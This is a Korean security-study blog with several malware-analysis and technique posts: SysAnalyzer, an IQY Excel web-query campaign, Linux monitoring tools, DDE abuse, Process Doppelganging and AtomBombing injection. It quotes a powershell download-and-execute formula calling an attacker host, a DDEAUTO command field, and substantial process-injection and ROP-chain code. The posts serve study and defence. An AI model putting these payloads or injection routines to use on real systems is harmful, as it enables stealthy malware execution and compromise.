Kali-KM_Security Study

Intro

SysAnalyzer 는 오픈소스 기반의 자동화 악성코드 분석 도구이다. 기본적으로 여러 도구의 기능이나 기타 편의적인 기능이 제공되고 있다. 아래는 공식홈페이지에서 제공하는 설명이다.

SysAnalyzer Overview

SysAnalyzer is an open source application that was designed to give malcode analysts an automated tool to quickly collect, compare, and report on the actions a binary took while running on the system. 

A full installer for the application is available and can be downloaded here . The application supports windows 2000 - windows 10. Including x64 support. 

The main components of SysAnalyzer work off of comparing snapshots of the system over a user specified time interval. The reason a snapshot mechanism was used compared to a live logging implementation is to reduce the amount of data that analysts must wade through when conducting their analysis. By using a snapshot system, we can effectively present viewers with only the persistent changes found on the system since the application was first run. 



Interface

실행 시 기본적인 인터페이스는 아래와 같다.

  • Executable, Arguments : 실행 파일 경로 및 인자
  • Delay(secs) : Snapshot 전, 후 사이의 시간 값 지정
  • Use SnifHit : HTTP 접속 및 IRC 접속 정보를 확인
  • Use Api Logger : 호출 되는 API 목록을 획득
  • Directory Watcher : 모니터링 시점에 생성되는 모든 파일 획득


Example

해당 Tool 을 사용하여 몇 샘플을 분석해보자. 
참고 : 아무 동작을 하지 않고 종료되는 프로세스가 있을 수도 있으므로, Process Explorer 는 같이 켜놓는게 좋다.
실행 파일 지정 및 시작

하단에 두번째 Snapshot 까지 남은 시간을 기록함.

두 번째 snapshot 을 찍은 후, 상기의 화면 외에 Report File Viewer 가 새로 나타남. 내용은 동일.


이래한 결과들이 analysis 폴더에 파일로 저장됨.




샘플 분석 결과 정리
Process

File

Registry

Network


이와 같이 직접 확인해도 되지만, SysAnalyzer 의 강점은 바로 Report 를 출력해준다. 아래 내용은 "Report File Viewer" 의 "Report_실행시간.log" 결과 내용이다.
Processes:
PID    ParentPID    User    Path *    Service    
--------------------------------------------------
3076     3304    Administrator    C:\Windows\system32\svchost.exe        

Ports:
Port    PID    Type    Path *    Service    
--------------------------------------------------
65531     3076    TCP    C:\Windows\system32\svchost.exe        

Mutexes:
PID    Name *    
--------------------------------------------------
3076    \Sessions\1{EDFF96B3-5333-47AE-8DE6-022BB460FD36}    

Tasks:
Name    Executable    
--------------------------------------------------

Monitored Process Dlls:
pid    cnt    Name    
--------------------------------------------------

Loaded Drivers:
Driver File *    Company Name    Description    
--------------------------------------------------

Monitored RegKeys
Path    Value *    
--------------------------------------------------
HKLM\Software\Microsoft\Windows\CurrentVersion\Run    {EDFF96B3-5333-47AE-8DE6-022BB460FD36}=C:\Windows\CppServer.exe    

DirwatchData
Action    Size    File    
--------------------------------------------------
WatchDir Initilized OK            
Watching C        \    
Created        C:\Windows\CppServer.exe    
Modifed        C:\Windows    
Modifed        C:\Windows\CppServer.exe    
Modifed        C:\Windows\Prefetch    
Modifed    40000    C:\Windows\System32\config\SOFTWARE.LOG1    
Modifed    1740000    C:\Windows\System32\config\SOFTWARE    
Modifed    40000    C:\Users\Administrator\ntuser.dat.LOG1    
Modifed    1F400    C:\Users\Administrator\AppData\Local\Microsoft\Windows\UsrClass.dat.LOG1    
Modifed    40000    C:\Users\Administrator\AppData\Local\Microsoft\Windows\UsrClass.dat    
Created        C:\Windows\Microsoft.NET\Framework\v2.0.50727\ngen_service.lock    
Modifed        C:\Windows\Microsoft.NET\Framework\v2.0.50727    
Modifed    1E84A0 +    C:\Windows\Microsoft.NET\Framework\v2.0.50727\ngen_service.log    


예제 샘플(CppServer.exe) 는 실행 시 svchost.exe 를 생성 후, 자기 자신을 인젝션(RunPE)한다. 이러한 점을 참고하였을때 SysAnalyzer 는 자동으로 생성 된 프로세스 덤프 한다. 첫 번째와 두 번째는 실제 인젝션 된 CppServer.exe 와 동일하다. 마지막 세 번째(svchost_sample.exe_) 의 경우 해당 환경에 존재하는 정상 svchost.exe 파일임을 확인했다.





 

API Log 부분에 대해 자세히 확인해보자. installing hooks 의 경우, 실행시킬 악성코드에 대해 Hook 을 설치하는 것이다. 실제 악성코드의 동작은 굵게 표시한 부분부터 시작된다. CopyFile, RegSetValueEx, VirtualAllocEx 등이 존재한다. 하지만 실제 파일의 코드를 확인해보면 VirtualAllocEx 이후, NtWriteProcessMemory, NtGetThreadContext, NtSetThreadContext, NtResumeThread 등이 호출된다. 이에 대해서는 기록되지 않았다. 이외에도 svchost.exe 를 생성할 때 사용된 API 인, NtCreateProcess 도 존재하지 않다.
--------------------------------------------------
ce8,464,***** Installing Hooks *****    
ce8,464,***config:handler:100079f0    
ce8,464,***config:noSleep    
ce8,464,***config:noGetProc    
ce8,464,***config:noRegistry    
ce8,464,***config:queryGetTick    
ce8,464,***config:blockOpenProcess    
ce8,464,***config:blockDebugControl    
ce8,464,***config:ignoreExitProcess    
ce8,464,***config:hooklibLogLevel    
ce8,464,76ef19ff     GetSystemTime()    
ce8,464,Install hook CreateProcessInternalW failed...Error:
    
ce8,464,77043c4c     ExitThread()    
ce8,dc8,1331780     GetStartupInfoW()    
ce8,dc8,13324b4     GetStartupInfoW()    
ce8,dc8,133148f     CopyFileA(C:\Users\Administrator\Desktop\CppServer.exe->C:\Windows\CppServer.exe)    
ce8,dc8,77028fcf     CloseHandle(h=80)    
ce8,dc8,7702a963     CloseHandle(h=84)    
ce8,dc8,7702ad07     CloseHandle(h=80)    
ce8,dc8,7702ad15     CloseHandle(h=7c)    
ce8,dc8,13314b2     RegCreateKeyA (HKLM\Software\Microsoft\Windows\CurrentVersion\Run)    
ce8,dc8,13314df     RegSetValueExA ({EDFF96B3-5333-47AE-8DE6-022BB460FD36})    
ce8,dc8,75b67a17     VirtualAllocEx(h=ffffffff, addr=0, sz=8e00,type=3000, prot=4) = 100000    
ce8,dc8,133160c     VirtualAllocEx(h=80, addr=400000, sz=d000,type=3000, prot=40) = 400000    
ce8,dc8,7703caa4     CloseHandle(h=0)    
ce8,dc8,***** Injected Process Terminated *****    


중간 사용 후기

얼마 사용하지 않았지만, 느낀점은 아래와 같다.
- 여러 도구가 하나로 종합 된 느낌
- 간단한 동적 분석을 하기에 아주 용이
- 프로세스 생성 시, 그에 대한 Dump 와 Sample 파일까지 보여주는 것은 아주 훌륭(귀찮음을 덜어줌)
- 친숙해지면 아주 편리한 도구가 될 것같음
- API Log 의 경우, Nt- Zw- 함수는 기록되지 않는 것 같다.


'Reversing > Theory' 카테고리의 다른 글

SysAnalyzer Tool (동적분석 도구)  (3) 2019.01.04
IQY File - Using Malware Campaign  (0) 2018.10.23
Linux 동적 분석 Tool  (3) 2018.04.08
Process Doppelganging  (0) 2018.02.13
Dynamic Data Exchange (DDE)  (0) 2017.11.12
Atombombing 기법  (0) 2017.05.28

Comment +3

Intro

IQY 파일을 이용한 악성코드 유포 사례가 종종 발생한다. 이에 대해 자세히 알아보기 위해, IQY 파일이 무엇인지, 그리고 어떻게 악성코드 유포에 사용되는지 알아보고자 한다.




IQY File

IQY 파일이란 Excel Web Query 파일로, 인터넷의 있는 데이터를 Excel 로 직접 가져온다. 파일 포멧은 아래와 같은 형태를 띈다. 이는 "www.google.com" 의 데이터를 가지고 오는 IQY 파일로, URL 인 "https://www.google.com/" 을 제외한 다른 내용은 자동으로 추가 된 것이다.



아래는 IQY  파일을 생성하거나 가져오기 위해서는 Excel 의 "데이터", "웹" 을 클릭하면 아래와 같은 화면의 나타난다.



위 그림에서 저장 버튼을 눌러 IQY 파일로 저장 후, 이를 실행하면 아래와 같이 나타나는 것을 확인 할 수 있다. "사용" 버튼을 누를 경우, 지정된 우베 페이지의 데이터를 읽어온다.



Analysis

예시로 분석할 IQY 샘플에 대한 정보는 아래와 같다.

MD5 : d2a63814440f8d054d78b03b48f7a3df


해당 샘플을 아래와 같이 지정된 URL 에 쿼리를 하여 데이터를 받아오는 IQY 파일이다.

URL> http://clodflarechk.com/2.dat


성공적으로 데이터를 받아올 경우 아래와 같은 코드가 존재하는 것을 확인할 수 있다.

=cmd|' /c C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -nop -NoExit -c IEX ((new-object net.webclient).downloadstring(\"http://clodflarechk.com/1.dat\"))'!A0


데이터를 받아온 후, Excel Formulas 의 "CMD" 명령어에 따라 파워쉘을 실행시키려 한다. 이때 사용자에게 아래와 같이 경고 화면이 나타나며, "예" 를 누를 경우 위의 코드가 동작하여 파워쉘이 실행된다.


파워쉘은 상기와 동일한 주소로부터 1.dat 를 다운로드 한다. 하지만 현재 해당 서버와 정상적으로 연결이 이루어지지 않아 1.dat 를 다운로드할 수는 없다. 



Conclusion

정상적으로 연결이 되지 않아, 이후의 분석은 불가능하지만, 위와 같은 방식을 사용하여 추가적인 악성 동작을 수행할 수 있다는 점을 기억하자.



ETC.

 pastebin 에서 데이터를 받아 calc.exe 를 실행시키는 내용의 xlsx 를 만들었다. 
- IQY Data : https://pastebin.com/rawL8SpP37V
- Pastebin Data : =cmd | ' /c C:\Windows\System32\calc.exe'

해당 xlsx 파일을 압축 해제하여 열어보면 위의 내용을 아래의 파일들에서 확인할 수 있다.
- [Extracted_Path]\xl\connections.xml : iqy 파일과 관련된 내용이 존재
- [Extracted_Path]\xl\externalLinks\externalLink1.xml : iqy 파일을 통해 한번 실행했던 문자열 관련 정보가 존재

> connections.xml

> externalLink1.xml




Reference

Blog



'Reversing > Theory' 카테고리의 다른 글

SysAnalyzer Tool (동적분석 도구)  (3) 2019.01.04
IQY File - Using Malware Campaign  (0) 2018.10.23
Linux 동적 분석 Tool  (3) 2018.04.08
Process Doppelganging  (0) 2018.02.13
Dynamic Data Exchange (DDE)  (0) 2017.11.12
Atombombing 기법  (0) 2017.05.28

Comment +0

Monitoring Tool

Strace 를 이용한 동작 확인 및 모니터링

의존성 문제로 인해 OS 별로 실행되지 않는 경우가 빈번할 수 있다. 이를 위해 해당 OS 에서 동작하는지 빠르게 확인하기 위해 사용하는 방법으로 Strace 가 존재한다.

아래 예시는 strace 로 "ls" 를 실행한 결과이다. 마지막에 exited with 0 으로 정상적으로 종료가 되었음을 확인 할 수 있다.

remnux@remnux:~/Desktop$ strace ls
execve("/bin/ls", ["ls"], [/* 68 vars */]) = 0
brk(0)                                  = 0xbc1000
access("/etc/ld.so.nohwcap", F_OK)      = -1 ENOENT (No such file or directory)
access("/etc/ld.so.preload", R_OK)      = -1 ENOENT (No such file or directory)
open("/etc/ld.so.cache", O_RDONLY|O_CLOEXEC) = 3
fstat(3, {st_mode=S_IFREG|0644, st_size=107852, ...}) = 0
mmap(NULL, 107852, PROT_READ, MAP_PRIVATE, 3, 0) = 0x7f5b620e9000
close(3)                                = 0
access("/etc/ld.so.nohwcap", F_OK)      = -1 ENOENT (No such file or directory)
open("/lib/x86_64-linux-gnu/libselinux.so.1", O_RDONLY|O_CLOEXEC) = 3
...........
mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7f5b62103000
write(1, "linux_server  REMnux Cheat Sheet"..., 66linux_server  REMnux Cheat Sheet  REMnux Docs  REMnux Tools Sheet
) = 66
close(1)                                = 0
munmap(0x7f5b62103000, 4096)            = 0
close(2)                                = 0
exit_group(0)                           = ?
+++ exited with 0 +++


Sysdig 를 이용한 모니터링
다양한 필터를 가지고 있으며, Windows 의 Procmon 같은 녀석




Network 관련 도구

WireShark 를 통한 네트워크 패킷 분석



netstat -anp 를 통해 네트워크 연결 상태 조회



Windows 의 TCPView 와 같은 명렁어
$ watch -pn 0.1 "netstat -nap"




Process 관련 도구

ps -e -f | grep ~~~


pstree



Gnome-System-monitor



htop




'Reversing > Theory' 카테고리의 다른 글

SysAnalyzer Tool (동적분석 도구)  (3) 2019.01.04
IQY File - Using Malware Campaign  (0) 2018.10.23
Linux 동적 분석 Tool  (3) 2018.04.08
Process Doppelganging  (0) 2018.02.13
Dynamic Data Exchange (DDE)  (0) 2017.11.12
Atombombing 기법  (0) 2017.05.28

Comment +3

Overview

2017년 말에 발표된 새로운 공격 기법으로, 기존의 Injection 방식과는 다른 방식을 사용한다. 특징은 아래와 같다.

  • 파일 기반 탐지 방식 위주의 백신사가 대부분 탐지하지 못하는 공격 기법
  • NTFS 의 Transaction 기능을 이용한다는 점

공격 가능한 대상은 아래와 같다.
  • Windows Vista 부터 Windows 10 이전 (Windows 10 에서는 BSoD 발생)

기존의 잘 알려진 방식의 공격 기법으로는 아래와 같다.
  • Process 를 Creation Flag - Suspended 상태로 생성 후 Payload 내용으로 교체
  • 원격 스레드를 생성하여 Payload 실행

하지만 Process Doppelganging 공격의 핵심은 NTFS 의 Transaction 기능을 이용하는 것이다. Windows NTFS 에서 Transactions 는 하나의 작업 단위로 묶은 것으로, 쉽게 말해 발생한 동작들을 구분하여 저장하는 것이다. 그리고 필요할 경우 이 구분 된 동작의 과정을 되돌리는 것이다. 

// 아래에서 설명할 Code 는 이해를 쉽게 하기 위해 2 개를 혼용한 것이다. 정확한 동작 Code 가 궁금하다면, Reference 의 PoC Code 1, 2 를 보면 된다.


Execute

악성 파일을 생성 후 실행할 때, File I/O 를 Transaction 로 열고 Commit 이 아닌 Rollback 을 한다. 이로 인해 OS 에서는 파일이 생성되지 않은 것이 된다.

사용되는 API 는 아래와 같다.

CreateTransaction
CreateFileTransacted
WriteFile
NtCreateSection
RollBackTransaction
NtCreateProcessEx

필자가 아래와 같이 임의로 5 단계로 나누어 설명할 것이다

Step 1 : open a transaction file i/o
Step 2 : load a payload section from dummy file
Step 3 : create a process
Step 4 : setting PEB
Step 5 : Update PEB and create a primary thread



Step 1 
Transaction File I/O 를 생성하기 위해 먼저, Transaction Object 를 생성한다.

HANDLE hTransaction = CreateTransaction(nullptr, nullptr, options, isolationLvl, isolationFlags, timeout, nullptr);
if (hTransaction == INVALID_HANDLE_VALUE) {


    std::cerr << "Failed to create transaction!" << std::endl;
    return false;
}

생성한 Transaction Object 를 가지고 Transaction 가능한 File I/O 를 생성한다. 여기서 생성할 File 은 어차피 저장되지 않을 Dummy 파일이다. 

HANDLE hTransactedFile = CreateFileTransactedW(dummy_name,

    GENERIC_WRITE | GENERIC_READ,
    0,
    NULL,
    CREATE_ALWAYS,
    FILE_ATTRIBUTE_NORMAL,
    NULL,
    hTransaction,
    NULL,
    NULL
);
if (hTransactedFile == INVALID_HANDLE_VALUE) {

    std::cerr << "Failed to create transacted file: " << GetLastError() << std::endl;
    return false;

}

DWORD writtenLen = 0;
if (!WriteFile(hTransactedFile, payladBuf, payloadSize, &writtenLen, NULL)) {
    std::cerr << "Failed writing payload! Error: " << GetLastError() << std::endl;
    return false;

}


Step 2
생성한 더미 파일을 가지고 새로운 Section 을 만들어준다. 이 때 생성한 Section 은 뒤에서 새로운 Process 의 Base 가 된다.

HANDLE hSection = nullptr;
NTSTATUS status = NtCreateSection(&hSection,
    SECTION_ALL_ACCESS,
    NULL,
    0,
    PAGE_READONLY,
    SEC_IMAGE,
    hTransactedFile
);
if (status != STATUS_SUCCESS) {


    std::cerr << "NtCreateSection failed" << std::endl;
      return false;
}

Dummy File 의 내용을 Section 에 Load 하였으므로, 더 이상 Dummy File 은 쓸모 없다. 이제 Transaction 을 Rollback 해주어 Disk 에 Data 가 남지 않게 한다.

CloseHandle(hTransactedFile);
hTransactedFile = nullptr;
if (RollbackTransaction(hTransaction) == FALSE) {


    std::cerr << "RollbackTransaction failed: " << GetLastError() << std::endl;
    return false;
}
CloseHandle(hTransaction);
hTransaction = nullptr;


Step 3
상기의 과정을 통해 Dummy File 로부터 만든 Section 이 존재하며, Dummy File 은 Disk 에 존재하지 않는 상태이다. 이제 Process 를 생성할 것이다. 여기서 일반적으로 Process 를 생성할 때 사용하는 API 는 아래와 같다.

  • CreateProcess
  • WinExec
  • ShellExecute

위 세 가지는 공통적으로 대상 파일의 이름(Path) 을 요구한다. 하지만, Dummy File 은 이미 남아있지 않은 상태이며, 해당 Payload 가 담긴 Section 만이 존재한다. 이를 해결하기 위해 프로세스 생성 과정의 내부를 좀 더 자세히 보면 NtCreateProcessEx 함수가 호출 되는 것을 알 수 있다. 해당 API 는 파일 경로가 아닌 PE 이미지 내용이 담긴 Section 을 필요로 한다.

typedef NTSTATUS(NTAPI *fpNtCreateProcessEx)


{
    OUT PHANDLE           ProcessHandle,
    IN ACCESS_MASK        DesiredAccess,
    IN POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL,
    IN HANDLE             ParentProcess,
    IN ULONG              Flags,
    IN HANDLE             SectionHandle OPTIONAL,
    IN HANDLE             DebugPort         OPTIONAL,
    IN HANDLE             ExceptionPort OPTIONAL,
    IN BOOLEAN            InJob
}; 






다시 말해, NtCreateProcessEx 함수와 Dummy File 로부터 생성한 Section 을 가지고 새로운 프로세스를 실행할 수 있게 된다.

HANDLE hProcess = nullptr;

status = NtCreateProcessEx(
    &hProcess, //ProcessHandle
    PROCESS_ALL_ACCESS, //DesiredAccess
    NULL, //ObjectAttributes
    NtCurrentProcess(), //ParentProcess
    PS_INHERIT_HANDLES, //Flags
    hSection, //sectionHandle
    NULL, //DebugPort
  NULL,               //ExceptionPort
    FALSE               //InJob
);
if (status != STATUS_SUCCESS) {
    std::cerr << "NtCreateProcessEx failed" << std::endl;

    return false;
}



Step 4
프로세스의 전체적인 Base 를 만들어 준 뒤, 실제 동작할 수 있도록 몇 가지 설정(Parameter, PEB, ETC.)을 직접 해주어야 한다.  우선 새로 생성한 Process 의 PEB 에 접근하여 ImageBase 를 가지고 온 뒤, Step 1 에서의 Payload Buffer 로부터 AddressOfEntryPoint 를 읽어와 더한다.


status = NtQueryInformationProcess(
    hProcess,
    ProcessBasicInformation,
    &pbi,
    sizeof(PROCESS_BASIC_INFORMATION),
    &ReturnLength
);
if (!NT_SUCCESS(status)) {
    OutputDebugString(L"NtQueryInformationProcess failed");

    break;
}

status = NtReadVirtualMemory(hProcess, pbi.PebBaseAddress, &temp, 0x1000, &sz);
if (!NT_SUCCESS(status)) {
    OutputDebugString(L"NtReadVirtualMemory failed");
break;
}

EntryPoint = (ULONG_PTR)RtlImageNtHeader(payladBuf))->OptionalHeader.AddressOfEntryPoint;
EntryPoint += (ULONG_PTR)((PPEB)temp)->ImageBaseAddress;

public struct ProcessBasicInformation {
    public IntPtr ExitStatus;
    public IntPtr PebBaseAddress;
    public IntPtr AffinityMask;
    public IntPtr BasePriority;
    public UIntPtr UniqueProcessId;
    public UIntPtr InheritedFromUniqueProcessId;
}

 
Process 의 겉모양은 만들어졌지만, 아직 어떠한 프로세스의 이름을 갖는지 등에 대한 정보가 존재하지 않는다. 이러한 Process 의 Parameter 를 설정해주기 위하여 Parameter Block 을 만든다.

//
// Create process parameters block.
//
RtlInitUnicodeString(&ustr, lpTargetApp);
status = RtlCreateProcessParametersEx(
    &ProcessParameters,    // pointer to parameter block.
    &ustr,
    NULL,
    NULL,
    &ustr,
    NULL,
    NULL,
    NULL,
    NULL,
    NULL,
    RTL_USER_PROC_PARAMS_NORMALIZED);
if (!NT_SUCCESS(status)) {
    OutputDebugString(L"RtlCreateProcessParametersEx failed");
    break;
}

가지고 온 Parameter Block 을 생성한 Process 에 공간을 할당 후 기록해준다.

//
// Allocate memory in target process and write process parameters block.
//
sz = ProcessParameters->EnvironmentSize + ProcessParameters->MaximumLength;
MemoryPtr = ProcessParameters;
status = NtAllocateVirtualMemory(hProcess,
    &MemoryPtr,
    0,
    &sz,
    MEM_RESERVE | MEM_COMMIT,
    PAGE_READWRITE);
if (!NT_SUCCESS(status)) {
    OutputDebugString(L"NtAllocateVirtualMemory(ProcessParameters) failed");
    break;
}
sz = 0;
status = NtWriteVirtualMemory(hProcess,
    ProcessParameters,     // target memory address
    ProcessParameters,     // buffer
    ProcessParameters->EnvironmentSize + ProcessParameters->MaximumLength,
&sz);
if (!NT_SUCCESS(status)) {
    OutputDebugString(L"NtWriteVirtualMemory(ProcessParameters) failed");
    break;
}


Step 5
마지막 단계에서는 위에서 만든 설정들을 실제 PEB 에 연결시킨다.

//
// Update PEB->ProcessParameters pointer to newly allocated block.
//
Peb = pbi.PebBaseAddress;
status = NtWriteVirtualMemory(hProcess,
    &Peb->ProcessParameters,
    &ProcessParameters,
    sizeof(PVOID),
    &sz
);
if (!NT_SUCCESS(status)) {
    OutputDebugString(L"NtWriteVirtualMemory(Peb->ProcessParameters) failed");
    break;
}

최종적으로 동작을 실행할 Thread 를 만들어준다.

//
// Create primary thread.
//
hThread = NULL;
status = NtCreateThreadEx(&hThread,
    THREAD_ALL_ACCESS,
    NULL,
    hProcess,
    (LPTHREAD_START_ROUTINE)EntryPoint,
    NULL,
    FALSE,
    0,
    0,
    0,
    NULL
);
if (!NT_SUCCESS(status)) {
    OutputDebugString(L"NtCreateThreadEx(EntryPoint) failed");
    break;


Conclusion

잘 알려진 다른 공격기법에 비해 다소 생소한 API 와 번거로운 과정을 거쳐야 한다는 것을 알 수 있다. 그렇다고 어려운 과정은 아니다. 보안 공부를 하는 입장에서 이러한 기법에 대해 알고 대응 할 수 있도록 해야한다.



Reference

Blog


Source Code
Git - PoC Code 1
Git - PoC Code 2

News





'Reversing > Theory' 카테고리의 다른 글

IQY File - Using Malware Campaign  (0) 2018.10.23
Linux 동적 분석 Tool  (3) 2018.04.08
Process Doppelganging  (0) 2018.02.13
Dynamic Data Exchange (DDE)  (0) 2017.11.12
Atombombing 기법  (0) 2017.05.28
DoubleAgent 공격  (1) 2017.03.28

Comment +0

Overview


문서형 악성코드의 경우 Macro 나 Script 등을 이용하여 악성동작을 수행하였다. 하지만 최근 DDE 기능을 악용하는 악성코드가 나타나고 있어, 이에 대해 소개하고자 한다.



DDE


우선 DDE 에 대하여 알아보자. DDE 는Dynamic Data Exchange 의 약어로, 응용 프로그램 간의 데이터 공유를 위한 방법이다. 예로 워드와 엑셀 간의 데이터 공유가 있다. DDE 를 활용하기 위해 MS Word 에서 아래와 같이 따라가보자.


삽입 - 빠른 문서 요소 - 필드- 필드 이름: "= (Formula)" - 확인

* MS Word 2016 기준 


아래와 같이 "!수식의 끝이 잘못되었습니다" 라고 출력 될 것이다. 해당 부분을 마우스 우측으로 클릭 후 "필드 코드 토글" 을 클릭해보자. 그럼 아래와 같이 " = \"MERGEFORMAT" 이라는 필드 코드를 확인 할 수 있다.




Execute


수식 중 "DDEAUTO" 라는 Keyword 를 입력 할 수 있다. 이는 문서 실행 시 자동으로 뒤의 명령어를 실행 할 수 있게끔 한다. 예시로 아래와 같이 수식을 입력해보자.


DDEAUTO C:\\Windows\\System32\\cmd "/k calc.exe"



그리고 파일을 저장 후 다시 열어 볼 경우 아래와 같이 팝업 창이 뜨는 것을 확인 할 수 있다.




모두 예를 누를 경우 입력한 명령어가 실행되며 계산기가 나타나는 것을 확인 할 수 있다. 또한 필드 코드가 외부로 보이는 형태를 아래와 같이 변경 할 수 있기 때문에 사용자는 인지하지 못할 수 있다.





Conclusion


위 예시의 경우 간단하게 나타냈다. 하지만 실제 필드 코드를 계산기 실행이 아닌 Powershell 과 같은 것을 이용 할 경우 DDE 는 더욱 많은 곳에 악용 될 수 있다. MS 의 경우 이 기능은 정상적인 기능이며, 실행 여부를 묻는 화면이 출력되므로 충분히 사용자에게 경고가 될 것이라는 입장으로 알려진다. 


강력한 기능으로 보이지는 않더라도, 보안을 공부하는 사람의 입장으로서 최신 악성코드가 이와 같은 방법을 사용하고 있다는 것을 인지 할 필요는 있을 것이다.




Reference


- INCA Internet 공식 블로그 "워드 문서 DDE 취약점을 이용한 악성코드 유포 주의"  : http://erteam.nprotect.com/1422


'Reversing > Theory' 카테고리의 다른 글

Linux 동적 분석 Tool  (3) 2018.04.08
Process Doppelganging  (0) 2018.02.13
Dynamic Data Exchange (DDE)  (0) 2017.11.12
Atombombing 기법  (0) 2017.05.28
DoubleAgent 공격  (1) 2017.03.28
암호학 기초 개념  (2) 2016.11.23

Comment +0

Overview


AtomBombing 에 대해 개인적으로 공부하면서 정리한 내용이다. 주로 참고한 자료는 PoC 코드와 원문 블로그 내용이다. 원문 블로그에서는 Stage 를 3개로 나누었지만, 필자의 경우 개인적인 학습에 의미를 두며 4단계로 나누었다. 혹시 읽는 분은 참고바란다.


전체적인 동작은 아래 흐름도와 같다.


1. 악성 프로세스는 대상 프로세스에서 실행 시킬 ShellCode Atom Table 추가

2. 대상 프로세스가 Atom Table 로부터 ShellCode 가지고 오게 하도록 APC 사용

3. APC 통해 조작된 대상 프로세스는 ShellCode 가지고 DEP 후회를 위한 ROP Chain 사용



대상 프로세스에 개입하기 위해 주로 사용하는 API 아래와 같다.


NTSTAT NtQueueApcThread(

   _In_ HANDLE                   ThreadHandle,

   _In_ PIO_APC_ROUTINE      ApcRoutine,

   _In_ PVOID                      ApcRoutineContext OPTIONAL,

   _In_ PIO_STATUS_BLOCK     ApcStatusBlock OPTIONAL,

   _In_ ULONG                     ApcReserved OPTIONAL

);

DWORD WINAPI QueueUserAPC(

   _In_ PAPCFUNC           pfnAPC,

   _In_ ULONG_PTR          hThread,

   _In_ ULONG_PTR          dwData

);


해당 API 가 사용되는 예는 아래와 같다.

// NtQueueApcThread

eReturn = main_NtQueueApcThreadWrapper(hRemoteThread, pfnWaitForSingleObjectEx, hWaitHandle, (PVOID)dwWaitMilliseconds, (PVOID)bWaitAlertable);

ESTATUS main_NtQueueApcThreadWrapper(HANDLE hThread, PKNORMAL_ROUTINE pfnApcRoutine, PVOID pvArg1, PVOID pvArg2, PVOID pvArg3)

{

...

ntStatus = NtQueueApcThread(hThread, pfnApcRoutine, pvArg1, pvArg2, pvArg3);

...

}

// QueueUserApcThread

eReturn = main_QueueUserApcWrapperAndKeepAlertable(hThread, (PAPCFUNC)SetEvent, (ULONG_PTR)RemoteHandle);

ESTATUS main_QueueUserApcWrapperAndKeepAlertable(HANDLE hThread, PAPCFUNC pfnAPC, ULONG_PTR dwData)

{

...

dwErr = QueueUserAPC(pfnAPC, hThread, dwData);

...

}



Stage #1


악성 프로세스는 대상 프로세스에서 공격 스레드를 탐색한다. 주로 사용 되는 방식이 APC 임에 따라 대상 스레드는 Alertable 상태여야 한다.  Alertable 상태의 스레드는 아래와 같이 동작한다.

 

* APC Thread Queue 프로시저가 있는지 확인

* Queueing 프로시저가 있을 경우 해당 프로시저를 실행

* 프로시저를 완료   다시 Queueing 정보가 있는지 확인

* 과정을 반복



최종적으로 하나의 Alertable 상태의 Thread 핸들을 가지고 온다.


ESTATUS main_FindAlertableThread(HANDLE hProcess, PHANDLE phAlertableThread)

{

eReturn = main_EnumProcessThreads(hProcess, &phProcessThreadsHandles, &cbProcessThreadsHandlesSize, &dwNumberOfProcessThreads);

...

for (DWORD dwIndex = 0; dwIndex < dwNumberOfProcessThreads; dwIndex++)

{

HANDLE hThread = phProcessThreadsHandles[dwIndex];

eReturn = main_NtQueueApcThreadWaitForSingleObjectEx(hThread, GetCurrentThread(), 5000, TRUE);

if (ESTATUS_FAILED(eReturn))

continue;

}

...

DWORD dwWaitResult = WaitForMultipleObjects(dwNumberOfProcessThreads, phLocalEvents, FALSE, 5000);

...

hAlertableThread = phProcessThreadsHandles[dwWaitResult - WAIT_OBJECT_0];

//If the thread is in an alertable state, keep it that way "forever".

eReturn = main_NtQueueApcThreadWaitForSingleObjectEx(hAlertableThread, GetCurrentThread(), INFINITE, TRUE);

*phAlertableThread = hAlertableThread;

...

}



Stage #2


NtQueueApcThread 통해 대상 프로세스가 GlobalGetAtomName 호출했다고 가정하자. 하지만 이를 통해 가지고 Buffer DEP 인해 실행 없는 상태이다. 이를 우회하기 위한 방법이 바로 ROP Chain 이다. 선언된 ROP Chain 다음과 같은 구조체로 나타낼 있다.


typedef struct _ROPCHAIN

{

// Return address of ntdll!ZwAllocateMemory

PVOID pvMemcpy;

 

// Params for ntdll!ZwAllocateMemory

HANDLE ZwAllocateMemoryhProcess;

PVOID ZwAllocateMemoryBaseAddress;

ULONG_PTR ZwAllocateMemoryZeroBits;

PSIZE_T ZwAllocateMemoryRegionSize;

ULONG ZwAllocateMemoryAllocationType;

ULONG ZwAllocateMemoryProtect;

 

// Return address of ntdll!memcpy

PVOID pvRetGadget;

 

// Params for ntdll!memcpy        

PVOID MemcpyDestination;

PVOID MemcpySource;

SIZE_T MemcpyLength;

} ROPCHAIN, *PROPCHAIN;



ROP Chain 구성은 아래와 같이 한다.


pvRemoteROPChainAddress = pvCodeCave;

pvRemoteContextAddress = (PUCHAR)pvRemoteROPChainAddress + sizeof(ROPCHAIN);

pvRemoteGetProcAddressLoadLibraryAddress = (PUCHAR)pvRemoteContextAddress + FIELD_OFFSET(CONTEXT, ExtendedRegisters);

pvRemoteShellcodeAddress = (PUCHAR)pvRemoteGetProcAddressLoadLibraryAddress + 8;

eReturn = main_BuildROPChain(pvRemoteROPChainAddress, pvRemoteShellcodeAddress, &tRopChain);

 

ESTATUS main_BuildROPChain(PVOID pvROPLocation, PVOID pvShellcodeLocation, PROPCHAIN ptRopChain)

{

ROPCHAIN tRopChain = { 0 };

tRopChain.ZwAllocateMemoryhProcess = GetCurrentProcess();

tRopChain.ZwAllocateMemoryBaseAddress = (PUCHAR)pvROPLocation + FIELD_OFFSET(ROPCHAIN, MemcpyDestination);

tRopChain.ZwAllocateMemoryZeroBits = NULL;

tRopChain.ZwAllocateMemoryRegionSize = (PSIZE_T)((PUCHAR)pvROPLocation + FIELD_OFFSET(ROPCHAIN, MemcpyLength));

tRopChain.ZwAllocateMemoryAllocationType = MEM_COMMIT;

tRopChain.ZwAllocateMemoryProtect = PAGE_EXECUTE_READWRITE;

tRopChain.MemcpyDestination = (PVOID)0x00;

tRopChain.MemcpySource = pvShellcodeLocation;

tRopChain.MemcpyLength = sizeof(SHELLCODE);

eReturn = GetFunctionAddressFromDll(NTDLL, MEMCPY, &tRopChain.pvMemcpy);

 

// Find a ret instruction in order to finally jump to the

// newly allocated executable shellcode.

eReturn = main_FindRetGadget(&tRopChain.pvRetGadget);

*ptRopChain = tRopChain;

}


